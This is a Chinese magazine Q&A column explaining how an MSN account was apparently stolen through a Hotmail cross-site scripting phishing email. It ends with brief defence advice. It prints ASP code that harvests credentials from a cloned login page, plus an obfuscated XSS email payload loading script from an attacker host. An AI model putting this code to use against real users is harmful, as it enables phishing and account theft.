跨站攻击黑客掠夺MSN账号

网络安全

icclab@gmail.com:我的MSN邮箱中收到了一封Hotmail的官方信,我反复在信中链接的Hotmail网页上登录,却始终无法成功打开,随后我就删除了这封邮件。不久,我的MSN账号就丢失了,但是我用杀毒软件配合安全辅助工具检测电脑后,没有发现任何可疑的东西。请问这到底是怎么回事?

小新分析:对你的问题进行分析后,我们判断你的MSN账号被盗,极有可能是黑客利用Hotmail跨站攻击导致的。8月1日网上就出现了最新的Hotmail跨站攻击代码,对MSN账号安全构成了巨大的威胁。

博弈主题:Hotmail跨站攻击

技术难度:★★★★

重点知识:跨站攻击与页面伪造

跨站攻击是指黑客在远程Web页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面时,嵌入其中的脚本将被秘密执行。根据读者提供的信息,他收到的那封信很可能是黑客设下的陷阱。

黑客可以伪造一封含Hotmail官方网页的信件,官方网页应该是黑客保存下来的,但黑客进行了修改,添加了特定的恶意攻击代码。一旦用户在该网页上进行登录,MSN账号和密码就会被秘密发送到黑客指定的邮箱中。

跨站攻击的代码在网上比较多,大多数只在黑客圈内流传。如果黑客利用攻击代码入侵成功后,他们可以盗取用户账户、修改用户设置、盗取Cookie、做虚假广告等。

小知识:人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此有人将跨站脚本攻击缩写为XSS。如果有人告诉你他发现了一个XSS漏洞,那么我们可以明白无误地判断,他一定说的是跨站脚本攻击。

罪案还原:跨站入侵MSN盗号

我们根据读者提供的线索,对他的MSN账号的丢失进行罪案还原,并推理黑客是如何盗取他的MSN账号的。

第一步:黑客先要制作一个和Hotmail登录界面一样的伪造网页。登录Hotmail的官方网站,然后点击菜单栏中的“文件”,在弹出的下拉菜单中选择“另存为”,将网页保存下来。然后使用Dreamweaver 等网页编辑程序打开保存下来的网页(图1),找到输入用户名和密码的位置,加入下面这段用户名和密码的窃取代码:

31-f15-01.jpg

〈%

bbsuser =request("bbsuser ")

bbspwd =request("bbspwd ")

set fs=server.CreateObject("Scripting.FileSystemObject")

//开启文件服务

set file=fs.OpenTextFile(server.MapPath("Hotmail.txt"),8,True)

//创建打开"Hotmail.txt"

file.writeline bbsuser +"---"+ bbspwd

//将获得的用户名密码写入"Hotmail.txt"

file.close

set file=nothing

set fs=nothing

%〉

然后将Hotmail原页面中的本地链接地址和相关参数修改,让图片都能够正常显示,最后将该网页另存为“index.asp”并上传到黑客自己的网站。

第二步:伪装页面做好了,接下来黑客就会制作跨站的Hotmail 电子邮件。一般黑客会选择可以直接在邮件中编辑HTML代码的软件,例如Dreammail。启动Dreammail后,新建一个支持POP3的电子信箱地址。

然后点击Dreammail菜单栏“查看”中的“切换到豪华版本”选项,再新建一封HTML空白邮件,在邮件的内容页面中点击右键,选择“编辑HTML源代码”,在弹出的HTML源代码编辑窗口中输入以下XSS跨站代码:

〈font color="ffffff"〉

〈div id="jmp" style="display:none"〉nop〈/div〉

〈div id="ly" style="display:none"〉function ok(){return true};window.onerror=ok〈/div〉

〈div id="tip" title="<a style="display:none">" style="display:none"〉〈/div〉

〈div id="tap" title="<" style="display:none"〉〈/div〉

〈div id="tep" title=">" style="display:none"〉〈/div〉

〈style〉div{background-image:expression(javascript:1?document.write(EC_tip.title+';top:'+EC_tap.title+'/a'+EC_tep.title+EC_tap.title+'script id=nop'+EC_tep.title+EC_ly.innerHTML+EC_tap.title+'/script'+EC_tep.title+EC_tap.title+'script src=http://www.hacker.cn/test/index.asp?uid=miaodeyu@Hotmail.com'+EC_tep.title+EC_tap.title+'/script'+EC_tep.title):1=1);}〈/style〉〈/font〉

在这段代码中,黑客会根据自己伪装网页的地址和电子邮件更改"http://www.hacker.cn/test/index.asp?uid=miaodeyu@Hotmail.com" 链接地址。邮件编辑好之后点击"确定"即可完成跨站邮件的制作。

第三步:黑客会给自己的这封邮件起一个响亮诱人的名字,然后发送到受害者的MSN邮箱中,当受害者用Hotmail查看这封邮件后,会弹出Hotmail登录框诱骗其输入账号和密码登录。受害者警惕性不高,就会在该恶意页面中输入账号和密码,这些信息没有发送到微软的服务器上,而是悄悄地发送到黑客那里了(图2)。

31-f15-02.jpg

跨站攻击防范方案

要防范XSS跨站攻击,普通用户除了不要点击陌生的来信和网络链接外,最好关闭浏览器的 JavaScript 功能。此外,还可以将IE的安全级别设置为最高,这样还可以防止Cookie被盗。网站管理者在制作网页时,要注意过滤用户输入的特殊字符,这样就可以避免大部分的XSS攻击了。如果网络管理者发现有针对自己网站的跨站攻击,就要及时对有漏洞的程序进行修补。